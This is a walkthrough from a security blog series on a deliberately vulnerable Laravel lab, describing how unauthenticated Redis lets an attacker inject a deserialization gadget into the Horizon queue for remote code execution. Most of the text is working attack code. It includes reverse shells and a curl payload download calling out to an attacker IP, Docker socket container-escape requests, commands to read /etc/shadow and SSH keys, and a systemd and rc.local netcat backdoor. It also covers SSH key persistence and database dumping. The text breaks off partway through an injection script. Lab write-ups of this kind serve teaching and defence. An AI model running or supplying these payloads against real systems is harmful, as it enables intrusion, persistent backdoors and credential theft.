Redis with No Authentication: How Your Laravel Horizon Queue Worker Becomes a Backdoor
This post references a codebase update that landed recently. Make sure you're on the latest commit before running anything here:
git pull origin main
default ACL user, and that user has unrestricted command and key
access (on nopass sanitize-payload ~* &* +@all). The
dvla-horizon worker
runs php artisan horizon, continuously polling the queue list
(namespaced by Laravel's Redis prefix as
artisanbreach_database_queues:default) and calling
unserialize() on the data.command field of every job it
picks up. The standard Redis queue payload doesn't provide an application-level
authenticity mechanism that prevents a client with write access to the queue from
supplying its own data.command. An
attacker who can reach Redis and write to that queue can therefore push a JSON
payload containing a phpggc gadget chain as the
command field. Whether that becomes code execution depends on a
chain of preconditions: unauthenticated Redis write access, a Horizon worker
consuming that queue, PHP deserialization of the payload, and a gadget chain
compatible with the worker's exact dependency tree. The Horizon container also
has the host docker.sock mounted, so if the worker process can
access it, the resulting RCE can be escalated to Docker-host administrative
control (Post 11).
Target Environment: Laravel 12.x with Horizon 5.x on Redis 7.x, a deliberately vulnerable lab. Laravel 12 itself is not the vulnerability.
Where This Sits in the Kill Chain
This is the second independent RCE path in ArtisanBreach LLC and the one that doesn't require any application access at all. The earlier posts in this series all required either a leaked APP_KEY, admin credentials, or another application-level entry point. In this deployment, an attacker with network access to Redis can inject a queue job without interacting with the application's HTTP layer, and a compatible gadget chain can turn that into worker-level RCE.
Vulnerability Classification
| CWE (Redis) | CWE-306: Missing Authentication for Critical Function, Redis accepts all connections without credentials |
|---|---|
| CWE (deserialization) |
CWE-502:
Deserialization of Untrusted Data, queue worker calls unserialize() on attacker-controlled queue payloads
|
| Primary infrastructure finding |
CWE-306 is the primary finding: it's what lets an
attacker reach the queue in the first place. CWE-502
describes a later stage of the chain, what happens once an
attacker-controlled payload reaches unserialize(). The
two CWEs describe different stages of the same attack and should be
read together, not interchangeably.
|
| OWASP Top 10 | A05:2021 Security Misconfiguration is the strongest classification for the exposed Redis configuration. A08:2021 Software and Data Integrity Failures is a reasonable secondary reference for the deserialization stage, but OWASP does not provide a one-to-one mapping for this exact queue-injection chain. The CWE classifications above are more precise. |
| Authentication required | None in this lab. The full precondition chain is: network reachability to Redis, no Redis authentication/authorization, a Horizon worker consuming the queue, and a gadget chain compatible with the worker's dependency tree. |
| Laravel Version | Laravel 12.x Horizon 5.x |
| Historical precedent |
Internet-exposed Redis instances have repeatedly been targeted in
large-scale campaigns involving cryptomining, data theft, and
persistence, historically through configuration/filesystem abuse such
as writing cron jobs or SSH keys. That classic technique is distinct
from what this post demonstrates: malicious Laravel queue injection
that drives unserialize() in the Horizon worker.
|
Redis With No Door
ArtisanBreach's Redis service has no password configured for the built-in
default ACL user. It is reachable over the internal dvla-net
Docker network (not from the host), but any client already on that network (a
compromised app container, or the SSRF path from Post 9) can connect and issue
commands without credentials:
dvla-redis:
image: redis:7-alpine
container_name: dvla-redis
restart: unless-stopped
# INTENTIONAL: no --requirepass and no ACL restrictions on the default user
# No host port mapping: reachable over the internal dvla-net only
networks:
- dvla-net
default user; requirepass sets a password
on that user (legacy mechanism), while modern deployments add explicit ACL users
with per-command and per-key restrictions. This lab sets neither, so the
default user is on nopass sanitize-payload ~* &* +@all,
which means every command on every key, no password. (sanitize-payload
is a Redis 7.2+ memory-hardening flag that has nothing to do with authentication;
the flags that actually matter here are nopass, ~*, and
+@all.) That's the whole door.
ports: mapping, so Redis is not published on the host. The
risk is not "anyone on the internet can hit port 6379". It's that the app and
Horizon containers share the internal dvla-net bridge with Redis, and
an attacker who obtains any foothold there (for example the SSRF in Post 9, which
reaches dvla-redis:6379 directly) gains the same write access as the
application itself.
Confirm it from the Docker host. redis-cli is installed only inside
the dvla-redis container (Redis has no host port and the app
containers don't ship the CLI), so reach it with docker exec:
# redis-cli lives only in the Redis container; wrap it in docker exec:
docker exec dvla-redis redis-cli ping
# PONG
docker exec dvla-redis redis-cli info server | grep redis_version
# redis_version:7.4.9
docker exec dvla-redis redis-cli CONFIG GET requirepass
# 1) "requirepass"
# 2) "" <- empty string: no password configured
# Redis 6+ authenticates through ACLs. The default user has no password and
# unrestricted command/key access:
docker exec dvla-redis redis-cli ACL LIST
# user default on nopass sanitize-payload ~* &* +@all
How Horizon Processes Jobs
The dvla-horizon container runs one process: php artisan horizon.
Horizon supervises a pool of queue workers. Each worker pops the next job off the
queue list with LPOP, and while idle blocks on a
BLPOP against the queue's :notify list until a producer
signals that a job is available.
dvla-horizon:
command: php artisan horizon
volumes:
- ./:/var/www
- /var/run/docker.sock:/var/run/docker.sock # INTENTIONAL: worker also has socket (Post 11)
networks:
- dvla-net
When a job is dispatched normally through Laravel, for example, when someone
submits the contact form at /contact, the framework serializes
the job class, stores it as a JSON payload in a Redis list using
RPUSH, and pushes a notification to the matching
:notify list. The list name is not the bare
queues:default. Laravel's Redis connection applies a key prefix
(the REDIS_PREFIX option, defaulting to
<app-name-slug>_database_), so the actual key is
artisanbreach_database_queues:<queue>. The Horizon supervisor
here is configured with queue => ['default', 'emails'], so both
artisanbreach_database_queues:default and
artisanbreach_database_queues:emails are consumed. (The contact form
job, NotifyNewContact, is dispatched to the emails queue
unless APP_ENV=docker, in which case it uses default.)
# Peek at the live queue (note the artisanbreach_database_ prefix)
docker exec dvla-redis redis-cli LRANGE artisanbreach_database_queues:default 0 0 | python3 -m json.tool
{
"uuid": "d4e5f6a7-...",
"displayName": "App\\Jobs\\NotifyNewContact",
"job": "Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries": null,
"maxExceptions": null,
"failOnTimeout": false,
"backoff": null,
"timeout": null,
"retryUntil": null,
"createdAt": 1787700000,
"id": "X4f2kQz...32-char random string",
"attempts": 0,
"data": {
"commandName": "App\\Jobs\\NotifyNewContact",
"command": "O:26:\"App\\Jobs\\NotifyNewContact\":3:{s:12:\"contact_data\";a:4:...}",
"batchId": null
}
}
The data.command field is a raw PHP-serialized string of the job object.
When Horizon pulls this job, Illuminate\Queue\CallQueuedHandler::call()
runs this code path:
// Illuminate/Queue/CallQueuedHandler.php (simplified)
protected function getCommand(array $data)
{
if (str_starts_with($data['command'], 'O:')) {
return unserialize($data['command']); // attacker controls this value
}
// ...
}
The standard Redis queue payload doesn't provide an application-level
authenticity mechanism that prevents a client with write access to the queue
from supplying its own data.command. The queue is a shared data
store, and whoever can write to it controls what the worker deserializes next.
unserialize(). That is
not inherently a vulnerability. It becomes dangerous only when the queue is
writable by an untrusted client, because the serialized command value
is then attacker-controlled. So the fix is to protect the queue (network
isolation, Redis authorization), not to assume the queue serialization itself is
"unsafe by default."
PHP Deserialization via the Queue
Post 2 covered the APP_KEY deserialization path: forge an encrypted cookie,
EncryptCookies middleware decrypts it, calls
unserialize(), gadget chain fires. That attack requires knowing
APP_KEY.
This attack is different and simpler. The queue worker calls
unserialize() on data pulled from Redis. An attacker who can write
to Redis supplies their own serialized command without going through
the application's job-dispatch path at all. There is no application secret
involved. The trust model here is: "if it's in the queue, the application put it
there." That assumption breaks the moment Redis is writable by an untrusted
client.
The gadget chain mechanics are the same as Post 2. The delivery mechanism is completely different and requires no knowledge of any application secret.
Complete Attack Walkthrough: 10 Phases to Full Compromise
This section walks the end-to-end chain against this lab's environment. The steps are ordered so each phase's precondition is met before it runs, and each gadget step is verified against the actual installed dependency versions rather than assumed from the Laravel major version.
Phase 1: Reach Redis and Confirm It Accepts Commands
Redis is not published on the host, so there's nothing to scan for from the
outside. The attacker reaches it from inside dvla-net, via
the SSRF in Post 9 (http://dvla-redis:6379/) or from any compromised
container on the same network. From such a position, enumerate and confirm:
redis-cli is installed only inside the dvla-redis
container, and Redis has no host port, so the app containers can't run the CLI
directly. Throughout this walkthrough the Redis commands are therefore run from
the Docker host as docker exec dvla-redis redis-cli. An attacker
inside a compromised container would instead drive Redis with PHP
predis (installed in the app) or a raw socket;
redis-cli is used here purely for readable output. The commands and
results are identical either way.
# 1. Is it reachable and unauthenticated?
docker exec dvla-redis redis-cli ping
# PONG (no authentication required)
# 2. What version is running?
docker exec dvla-redis redis-cli info server | grep redis_version
# redis_version:7.4.9
# 3. Is the default ACL user password-protected or restricted?
docker exec dvla-redis redis-cli CONFIG GET requirepass
# 1) "requirepass"
# 2) "" <- empty: no default password
docker exec dvla-redis redis-cli ACL LIST
# user default on nopass sanitize-payload ~* &* +@all
# ^^^^^^ no password, ~* all keys, +@all every command
# 4. Find the queue keys (Laravel prefixes them; SCAN for "*queue*", not KEYS).
# Note: the queue *list* key only exists while a job is pending (Redis deletes
# empty lists), so at rest you only see the always-on artisanbreach_horizon:* keys.
docker exec dvla-redis redis-cli SCAN 0 MATCH "*queue*" COUNT 100
# 1) "0"
# 2) 1) "artisanbreach_horizon:measured_queues"
# 2) "artisanbreach_horizon:queue:default"
# 5. The queue list key is deterministic: prefix + "queues:". It appears the
# moment Phase 4 RPUSHes a job; TYPE/LRANGE then confirm its shape:
QUEUE_KEY="artisanbreach_database_queues:default"
docker exec dvla-redis redis-cli TYPE "$QUEUE_KEY"
# none (until a job is queued; then: list)
docker exec dvla-redis redis-cli LRANGE "$QUEUE_KEY" 0 0 | python3 -m json.tool
Phase 2: Select a Gadget Chain That Matches the Installed Dependencies
The big rule here: don't pick a PHPGGC chain from the Laravel major
version. A PHPGGC chain fires only if the classes it targets exist
in the worker's installed dependency tree with the exact class/property layout
the chain expects. Laravel 12 doesn't imply any particular chain, and a
queue delivery mechanism doesn't determine which chain works. Match the chain
against the exact composer.lock dependency tree, then test it.
In this lab, the relevant versions are:
| Package | Installed version (this lab) |
|---|---|
laravel/framework | v12.54.1 |
laravel/horizon | v5.47.2 |
monolog/monolog | 3.10.0 |
league/commonmark | 2.8.1 |
The relevant question for a gadget is not "is Monolog in every Laravel install". It's whether the classes a given chain requires are present in the worker's dependency tree. Composer's autoloader can resolve classes on demand during deserialization, so a class does not need to have been instantiated beforehand.
# Install phpggc and remember its location
git clone https://github.com/ambionics/phpggc.git ~/phpggc
cd ~/phpggc && composer install && cd ~
PHPGGC="$HOME/phpggc/phpggc" # full path; used by every phase below
# Enumerate ALL chains (not just Laravel/...). A Laravel 12 app ships many
# libraries, and the usable chains are the ones targeting its dependencies:
php "$PHPGGC" -l
+
php "$PHPGGC" -l Laravel shows the Laravel/RCE* chains
target Laravel framework classes with bounds that top out around
v11.34.2 (the newest is Laravel/RCE22, labelled
v10.0.0 ≤ v11.34.2+). The trailing + indicates the
author only tested up to that version and suspects it keeps working on
newer releases. It's not a guarantee. Verify against the actual dependency tree,
as below. Look beyond the Laravel/* namespace too: chains for Monolog,
Symfony, Guzzle, etc. target the libraries Laravel 12 actually depends on.
# Inspect a candidate chain to see its version range and vector:
php "$PHPGGC" -i Monolog/RCE8
# Name : Monolog/RCE8
# Version : 3.0.0 <= 3.1.0+
# Type : RCE: Function Call
# Vector : __destruct
# The lab ships Monolog 3.10.0. Monolog/RCE8 and Monolog/RCE9 declare
# "3.0.0 <= 3.1.0+"; the "+" says they may keep firing on newer 3.x releases.
--test-payload
deserializes against the current vendor/autoload.php and exits
0 on success. But that test runs in a short-lived process where
destructors fire at script end. It's necessary but not sufficient for
the long-running queue worker. Verify again with the live worker in Phase 4/10.
# Quick test against the worker's vendor tree (run from the worker's app dir):
cd /var/www
php "$PHPGGC" Monolog/RCE8 --test-payload 2>/dev/null
# Trying to deserialize payload...
# SUCCESS: Payload triggered ! (exit 0)
# Generate the plain serialized payload. Do NOT pass -f / --fast-destruct here:
# it wraps the payload in an array ("a:2:{...}") so it no longer starts with "O:",
# and CallQueuedHandler::getCommand() only unserializes strings that start with "O:"
# (anything else it feeds to the Encrypter, which throws "The payload is invalid").
# phpggc prints harmless "dynamic property" deprecation notices to stderr on PHP 8.2+;
# 2>/dev/null keeps the terminal clean while the payload still writes correctly.
php "$PHPGGC" Monolog/RCE8 system 'id' -o gadget.bin 2>/dev/null
# Verified against this lab's LIVE Horizon worker:
# Monolog/RCE8 -> fires ~4s (Monolog 3.10.0) <- PRIMARY chain: every
# `-o gadget.bin` command in Phases 3-5 and 10 uses this one.
# Its phpggc label "3.0.0 <= 3.1.0+" also tops out below the
# installed 3.10.0, so it too fires past its documented range.
# Laravel/RCE22 -> fires ~3s (Laravel 12.54.1) <- secondary, listed for
# completeness. Its phpggc label is "v10.0.0 <= v11.34.2+", which
# means whoever wrote the RCE22 gadget only claims to have tested
# it through Laravel 11, not that it stops working there. It fires
# on this lab's Laravel 12.54.1 anyway, a verified out-of-range
# fire, exactly what the trailing "+" predicts, not a contradiction.
# Monolog/RCE9 -> does NOT fire promptly in the worker (self-referential
# cycle defers __destruct to GC) despite --test-payload SUCCESS.
# The Laravel/RCE11 and Laravel/RCE12 chains are NOT used here: they are Laravel
# 5-9 era chains (Faker/Symfony Mime, and Monolog's RollbarHandler respectively),
# and RCE12 additionally depends on the rollbar/rollbar package this lab does not
# ship. The working "Monolog" chain is Monolog/RCE8 above, not Laravel/RCE12.
# The job appears as "FAIL" in Horizon logs because the unserialized object is not
# a real Job, but the __destruct already executed our command.
-f and -p are not used here
phpggc's -f (fast-destruct) wraps the payload so it no longer starts
with O:; the queue's getCommand() then routes it to the
Encrypter instead of unserialize() and fails. -p is
--phar (build a PHAR), unrelated to queue delivery. Use the plain
O:-prefixed payload and rely on a chain whose __destruct
fires promptly. A chain that does not fire does not invalidate the underlying
queue-injection finding.
Phase 3: Build the Queue Payload
The queue item is a JSON document. The field that matters is
data.command, which the worker passes directly to
unserialize(). The structure Laravel expects looks like this:
{
"uuid": "1b9d6bcd-bbfd-4b2d-9b5d-ab8dfbbd4bed",
"displayName": "App\\Jobs\\DemoJob",
"job": "Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries": null,
"maxExceptions": null,
"failOnTimeout": false,
"backoff": null,
"timeout": null,
"retryUntil": null,
"createdAt": 1787700000,
"id": "X4f2kQz9Lm8a...32-char random string",
"attempts": 0,
"data": {
"commandName": "App\\Jobs\\DemoJob",
"command": "",
"batchId": null
}
}
Every field matters. The Redis worker's pop Lua script
reads attempts and increments it, so a payload without
attempts (and the matching id/createdAt)
makes the script throw and the job is dropped before it is ever deserialized. The
serialized gadget must also survive JSON encoding/decoding byte-for-byte, so build
the document with PHP's json_encode, exactly as Laravel does:
# Write the builder with PHP so json_encode handles the serialized bytes the same
# way Laravel's own dispatcher does:
cat > build_payload.php << 'PHP'
<?php
require "vendor/autoload.php";
$command = file_get_contents("gadget.bin"); // raw serialized bytes from phpggc
$payload = json_encode([
"uuid" => (string) Illuminate\Support\Str::uuid(),
"displayName" => "App\\Jobs\\DemoJob",
"job" => "Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries" => null,
"maxExceptions" => null,
"failOnTimeout" => false,
"backoff" => null,
"timeout" => null,
"retryUntil" => null,
"createdAt" => Illuminate\Support\Carbon::now()->getTimestamp(),
"id" => Illuminate\Support\Str::random(32),
"attempts" => 0,
"data" => [
"commandName" => "App\\Jobs\\DemoJob",
"command" => $command,
"batchId" => null,
],
]);
echo $payload;
PHP
# The builder writes the JSON to stdout; redirect it to final_payload.json:
php build_payload.php > final_payload.json
# Sanity-check the round trip: decode the JSON, unserialize the command, and confirm
# the gadget still fires (this proves the transport preserved the bytes unchanged).
php -r '
require "vendor/autoload.php";
$data = json_decode(file_get_contents("final_payload.json"), true);
echo "command bytes: ", strlen($data["data"]["command"]), " (must match gadget.bin)\n";
@unserialize($data["data"]["command"]);
// "uid=..." should print if the transport preserved the payload byte-for-byte.
'
json_encode is the encoder Laravel itself relies on, so it
produces a document that the worker's json_decode reverses faithfully.
Hand-assembling JSON (or decoding raw bytes as latin-1 and re-encoding)
risks corrupting bytes ≥ 0x80. Whatever method you use, verify the decoded bytes
round-trip unchanged before relying on the proof of concept.
Phase 4: Inject the Job into the Queue
Laravel's producer pushes jobs with RPUSH (right side) and signals
workers by also pushing to the matching :notify list; workers consume
from the opposite side with LPOP. Redis list direction matters, so
mirror the producer's behavior:
# Use the prefixed key discovered in Phase 1 (NOT the bare "queues:default"):
QUEUE_KEY="artisanbreach_database_queues:default"
NOTIFY_KEY="$QUEUE_KEY:notify"
# Push the payload onto the queue, exactly as Laravel's own dispatcher does
# (RPUSH to the list + RPUSH "1" to the :notify list; see RedisQueue::pushRaw()).
docker exec dvla-redis redis-cli RPUSH "$QUEUE_KEY" "$(cat final_payload.json)"
# Expected output: (integer) 1
docker exec dvla-redis redis-cli RPUSH "$NOTIFY_KEY" 1
# Verify the job is queued
docker exec dvla-redis redis-cli LRANGE "$QUEUE_KEY" 0 0 | python3 -m json.tool
# Watch Horizon logs for execution
docker logs dvla-horizon --tail=50 -f
# Confirm the injected command ran. The output reflects the Horizon worker's identity:
docker logs dvla-horizon | grep "uid="
# uid=1000(admin) gid=1000(admin) groups=1000(admin),0(root),33(www-data)
# (the worker runs as whatever user the container image sets, NOT root in this lab)
php artisan horizon (in this
lab admin, uid 1000, not root). Expect Horizon to log the job as
FAIL rather than DONE: the unserialized object is a gadget,
not a real Job, so CallQueuedHandler can't dispatch it,
but the __destruct already ran your command by that point. Don't
mistake the FAIL status for a failed exploit.
Phase 5: Advanced Payloads & Reverse Shell
Once the chain is confirmed, reuse it for richer payloads. Substitute the chain
you verified in Phase 2, and re-run build_payload.php for each command.
php:8.3-fpm image. The
following are present and usable for the payloads below:
bash (with /dev/tcp), curl, git,
grep, chmod, mount, df,
php (with pdo_mysql), and useradd (root only).
The following are absent, so payloads built on them fail:
python3, nc/netcat, wget,
mysql/mysqldump (CLI), netstat,
ip, ps, and ping. The reliable reverse shell
in this lab is the bash /dev/tcp method (#1); the python3/nc variants
below are shown for completeness but do not fire in this container.
CHAIN="Monolog/RCE8" # verified to fire in the live worker (see Phase 2)
QUEUE_KEY="artisanbreach_database_queues:default"
NOTIFY_KEY="$QUEUE_KEY:notify"
ATTACKER_IP="10.0.0.1"
ATTACKER_PORT="4444"
# 1. Simple reverse shell
php "$PHPGGC" $CHAIN system "bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'" -o gadget.bin 2>/dev/null
php build_payload.php > final_payload.json
docker exec dvla-redis redis-cli RPUSH "$QUEUE_KEY" "$(cat final_payload.json)"
docker exec dvla-redis redis-cli RPUSH "$NOTIFY_KEY" 1
# Start listener
nc -lvnp $ATTACKER_PORT
# 2. Python reverse shell, NOTE: python3 is NOT installed in this lab's container,
# so this variant fails here. Shown for completeness only.
php "$PHPGGC" $CHAIN system "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ATTACKER_IP\",$ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'" -o gadget.bin 2>/dev/null
# 3. Bind shell, NOTE: nc is NOT installed in this lab's container, so this fails here.
php "$PHPGGC" $CHAIN system "bash -c 'nc -lvp 4444 -e /bin/bash'" -o gadget.bin 2>/dev/null
# 4. Web shell upload via curl (wget is not installed in this lab; curl is).
# IMPORTANT: nginx hardcodes SCRIPT_FILENAME to public/index.php, so a PHP file
# dropped under public/ is NOT executed over HTTP, see the note below.
php "$PHPGGC" $CHAIN system "curl -s http://$ATTACKER_IP/shell.php -o /var/www/public/shell.php" -o gadget.bin 2>/dev/null
# 5. Multiple commands in sequence
php "$PHPGGC" $CHAIN system "bash -c 'curl -s http://$ATTACKER_IP/shell.php -o /var/www/public/shell.php && chmod 644 /var/www/public/shell.php'" -o gadget.bin 2>/dev/null
# 6. SSH key persistence, /home/admin/.ssh does not exist by default; create it first
php "$PHPGGC" $CHAIN system "bash -c 'mkdir -p /home/admin/.ssh && echo \"$SSH_KEY\" >> /home/admin/.ssh/authorized_keys'" -o gadget.bin 2>/dev/null
# 7. Create a user (requires privileges the worker does NOT have: admin is non-root)
php "$PHPGGC" $CHAIN system "useradd -m -s /bin/bash attacker && echo 'attacker:password123' | chpasswd" -o gadget.bin 2>/dev/null
public/ is not a working web shell here.
This lab's Nginx config routes every .php request to
fastcgi_param SCRIPT_FILENAME $document_root/public/index.php, a
hardcoded path. Any .php file you drop under public/
(e.g. public/shell.php or public/backdoor.php) is ignored;
the request still executes Laravel's front controller and 404s. The volume-mounted
application directory is still useful, but a PHP file there is reached via
CLI from inside the container (as shown in "The docker.sock Connection"),
not via HTTP. To get HTTP-executable code you would need a file served as static
(non-PHP) content or a change to the Nginx configuration.
Phase 6: Post-Exploitation - Container Access
Once you have a shell in the Horizon container:
# Inside Horizon container (via reverse shell)
# Who am I? (the Horizon worker's OS user, NOT root in this lab)
whoami
# admin
# Current directory
pwd
# /var/www
# Read application secrets
cat .env
# APP_KEY=base64:mJjSMd3892ZHO43QS7TJJj7VTs9P0+9IyWZ9+r/shwk=
# DB_PASSWORD=secret123
# REDIS_PASSWORD= (empty)
# Read Laravel configuration
cat config/database.php
# List all files in application
ls -la
# Check for other mounted volumes (both available in this container)
df -h
mount
# Check network configuration, NOTE: `ip` and `netstat` are NOT in this minimal
# image. The volume/process/network visibility below is what the shell gives you.
# (To enumerate sockets/processes you would need to `apt-get install` first, which
# the non-root worker cannot do.)
ip addr # not present in this lab
netstat -tulpn # not present in this lab
# List running processes
ps aux # not present in this lab
# Check for other containers on the network, `ping` is NOT present either.
# Names still resolve via Docker's embedded DNS; test reachability with a TCP
# connection instead (curl to known ports, or PHP streams).
ping dvla-db # not present in this lab
curl -s http://dvla-nginx # reachability check that DOES work (curl is present)
# Extract database credentials and connect, the mysql CLI is NOT installed, but
# PHP's pdo_mysql extension IS, so connect through PHP:
php -r 'new PDO("mysql:host=dvla-db;dbname=dvla", "dvla", "secret123"); echo "connected\n";'
php -r '$p=new PDO("mysql:host=dvla-db", "root", "secret123"); foreach($p->query("SHOW DATABASES") as $r) echo $r[0],"\n";'
# Dump the database, mysqldump is NOT installed; approximate a dump via PHP or
# copy the MySQL data directory from the mounted volume after escaping (Post 11).
# mysqldump -h dvla-db -u root -psecret123 --all-databases > /tmp/dump.sql
# Check the application code for secrets
grep -r "password" /var/www --include="*.php" --include="*.env"
# Look for API keys and tokens
grep -r "API_KEY" /var/www --include="*.php"
grep -r "SECRET" /var/www --include="*.php"
# Check for SSH keys under the worker's own home directory
ls -la /home/admin/.ssh/
admin (uid 1000), not root, persistence steps
such as writing /etc/crontab or creating users require privileges this
shell does not have. Post-exploitation pivots that work at this stage are reads of
the volume-mounted application (including .env) and network access to
sibling containers, not host-level writes.
Phase 7: Docker Socket Exploitation - Container Escape
/var/run/docker.sock), but mounted ≠ accessible.
Container-level RCE escalates to Docker-host administrative control only
if the worker process can actually read/write the socket. That depends
on the worker's uid/gid versus the socket's ownership and permissions. In this
lab the socket is srw-rw---- root:986 and the worker runs as
admin (uid 1000), which is not in group 986, so
the worker cannot use the socket, and this escape only works from a root context
such as the dvla-admin container (which runs as root and can read
the socket). Verify access before assuming the escape is possible.
# Verify Docker socket access first
ls -la /var/run/docker.sock
# srw-rw---- 1 root 986 <- 986 is the host "docker" group gid; the container has
# no such group, so it renders numerically. The worker
# (admin, uid 1000) is NOT in it: no read/write here.
# Test Docker API connectivity (this is the access gate). From the non-root worker
# this returns nothing (permission denied at socket open); from dvla-admin (root)
# it returns the engine JSON:
curl -s --unix-socket /var/run/docker.sock http://localhost/version
# {"Version": "...", "ApiVersion": "...", ...} <- socket is usable if this returns
# List all containers via API
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool
If the version check above fails with a permission error, the worker cannot use the socket and this escape path does not apply to that process. If it succeeds, the following methods escalate to host control:
# Method 1: Spawn a privileged container that mounts the host filesystem
cat > escape.json << 'EOF'
{
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", "tail -f /dev/null"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/host"],
"NetworkMode": "host"
},
"AttachStdout": true,
"AttachStderr": true
}
EOF
# Creating the container is the host-control step. It does not by itself drop you
# into a host shell. You still have to exec into it and chroot to the mounted host root.
curl -X POST -H "Content-Type: application/json" \
--unix-socket /var/run/docker.sock \
http://localhost/containers/create?name=escape_container \
-d @escape.json
curl -X POST --unix-socket /var/run/docker.sock \
http://localhost/containers/escape_container/start
# Now actually enter the host filesystem. Only after this succeeds do you have a
# host root shell.
docker exec -it escape_container chroot /host /bin/bash
# whoami -> root (now genuinely on the host)
Two alternative methods achieve the same host-level access:
# Method 2: Run a container with host networking (for a direct reverse shell)
cat > revshell_escape.json << 'EOF'
{
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", "nc -e /bin/bash 10.0.0.1 5555"],
"HostConfig": {
"NetworkMode": "host",
"Privileged": true
},
"AttachStdout": true,
"AttachStderr": true
}
EOF
curl -X POST -H "Content-Type: application/json" \
--unix-socket /var/run/docker.sock \
http://localhost/containers/create?name=revshell_escape \
-d @revshell_escape.json
curl -X POST --unix-socket /var/run/docker.sock \
http://localhost/containers/revshell_escape/start
# Method 3: Mount the host's Docker socket inside a new container
cat > docker_socket_escape.json << 'EOF'
{
"Image": "docker:latest",
"Cmd": ["/bin/sh", "-c", "docker run -v /:/host --privileged alpine chroot /host /bin/bash"],
"HostConfig": {
"Binds": ["/var/run/docker.sock:/var/run/docker.sock"],
"Privileged": true
}
}
EOF
Phase 8: Full Host Compromise
# Now on the host system (via docker escape)
# Confirm host access
cat /etc/hostname
whoami
# root
# Dump host information
cat /etc/os-release
uname -a
cat /proc/cpuinfo
# Extract SSH keys
cat /root/.ssh/id_rsa
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/id_rsa
# Dump system passwords
cat /etc/passwd
cat /etc/shadow
# Extract credentials from running processes
ps aux | grep -E "(password|secret|key)"
# Find sensitive files
find / -name "*.env" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null
find / -name "*.key" -type f 2>/dev/null
# Check for cloud credentials
find / -name "*aws*" -type f 2>/dev/null
find / -name "*gcp*" -type f 2>/dev/null
find / -name "*azure*" -type f 2>/dev/null
# Establish persistence on host
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." >> /root/.ssh/authorized_keys
# Set up persistent backdoor
cat > /etc/systemd/system/backdoor.service << 'SERVICE'
[Unit]
Description=Backdoor Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c "nc -e /bin/bash 10.0.0.1 4444"
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
SERVICE
systemctl enable backdoor.service
systemctl start backdoor.service
# Alternative: /etc/rc.local
echo "nc -e /bin/bash 10.0.0.1 4444 &" >> /etc/rc.local
chmod +x /etc/rc.local
Phase 9: Lateral Movement
# From host, attack other containers
# Access the admin container
docker exec -it dvla-admin /bin/bash
# Extract more secrets
docker exec dvla-admin cat /var/www/.env
# Access the database directly from host
mysql -h 127.0.0.1 -u root -psecret123
# Dump all databases
mysqldump -h 127.0.0.1 -u root -psecret123 --all-databases > /tmp/full_dump.sql
# Extract Horizon secrets
docker exec dvla-horizon cat /var/www/.env
# Check for mounted volumes on all containers
docker inspect $(docker ps -q) | grep -A 10 Mounts
# Find network information
docker network inspect dvla-net
# Check for other containers on different networks
docker network ls
docker network inspect $(docker network ls -q)
# Redis is internal-only; reach it from the host via the container
docker exec dvla-redis redis-cli SCAN 0 MATCH "*queue*" COUNT 100
# Modify database to create admin user
mysql -h 127.0.0.1 -u root -psecret123 -e "INSERT INTO users (name, email, password, is_admin) VALUES ('attacker', 'attacker@example.com', MD5('password'), 1);"
# Backdoor the application, NOTE: as in Phase 5, nginx hardcodes SCRIPT_FILENAME to
# public/index.php, so this .php file won't execute over HTTP. From the host you can
# instead patch the nginx config (docker-compose/nginx/*.conf, volume-mounted) or drop
# a static (non-PHP) payload. Shown for completeness.
echo '' > /var/www/public/backdoor.php
# Install a file manager (same HTTP caveat as above)
wget http://10.0.0.1/filemanager.php -O /var/www/public/filemanager.php
Phase 10: Automated Proof of Execution
A minimal script that injects a benign job and confirms it executes in the worker.
It runs on the Docker host (it needs the Docker CLI/socket) and
reaches Redis via docker exec because Redis has no host port. Run it
from the app directory so build_payload.php can load
vendor/autoload.php. This script is not self-contained: it assumes
build_payload.php already exists (created in Phase 3) and that
phpggc can write gadget.bin into the current directory
before build_payload.php reads it back. The $MARKER path is
a path inside the Horizon container, so the poll loop checks it via
docker exec dvla-horizon, not on the host filesystem.
#!/bin/bash
# redis_inject.sh runs on the Docker host, from the app directory.
PHPGGC="$HOME/phpggc/phpggc" # full path from Phase 2
CHAIN="Monolog/RCE8" # chain verified to fire in the worker
QUEUE_KEY="artisanbreach_database_queues:default" # prefixed key (Phase 1)
NOTIFY_KEY="$QUEUE_KEY:notify"
MARKER="/tmp/artisanbreach-$(date +%s)-$RANDOM" # unique per run
REDIS="docker exec dvla-redis redis-cli" # Redis is internal-only
# 1. Confirm Redis accepts commands without a password
echo "[+] Checking Redis is unauthenticated..."
$REDIS ping | grep -q PONG && echo "[+] PONG (no auth)" || { echo "[-] auth required"; exit 1; }
# 2. Generate a benign gadget that writes a unique marker file
echo "[+] Generating gadget..."
php "$PHPGGC" $CHAIN system "id > $MARKER" -o gadget.bin 2>/dev/null
# 3. Build the queue payload
echo "[+] Building queue payload..."
php build_payload.php > final_payload.json
# 4. Inject the job the way Laravel's producer does (RPUSH + notify)
echo "[+] Injecting job..."
$REDIS RPUSH "$QUEUE_KEY" "$(cat final_payload.json)"
$REDIS RPUSH "$NOTIFY_KEY" 1
# 5. Poll (bounded) for the unique marker. No destructive cleanup: the worker
# LPOPs the job itself, and only our own marker file is removed.
echo "[+] Waiting for the worker to execute the job..."
for i in $(seq 1 30); do
if docker exec dvla-horizon test -f "$MARKER" 2>/dev/null; then
echo "[+] RCE CONFIRMED: worker executed our command:"
docker exec dvla-horizon cat "$MARKER"
docker exec dvla-horizon rm -f "$MARKER"
exit 0
fi
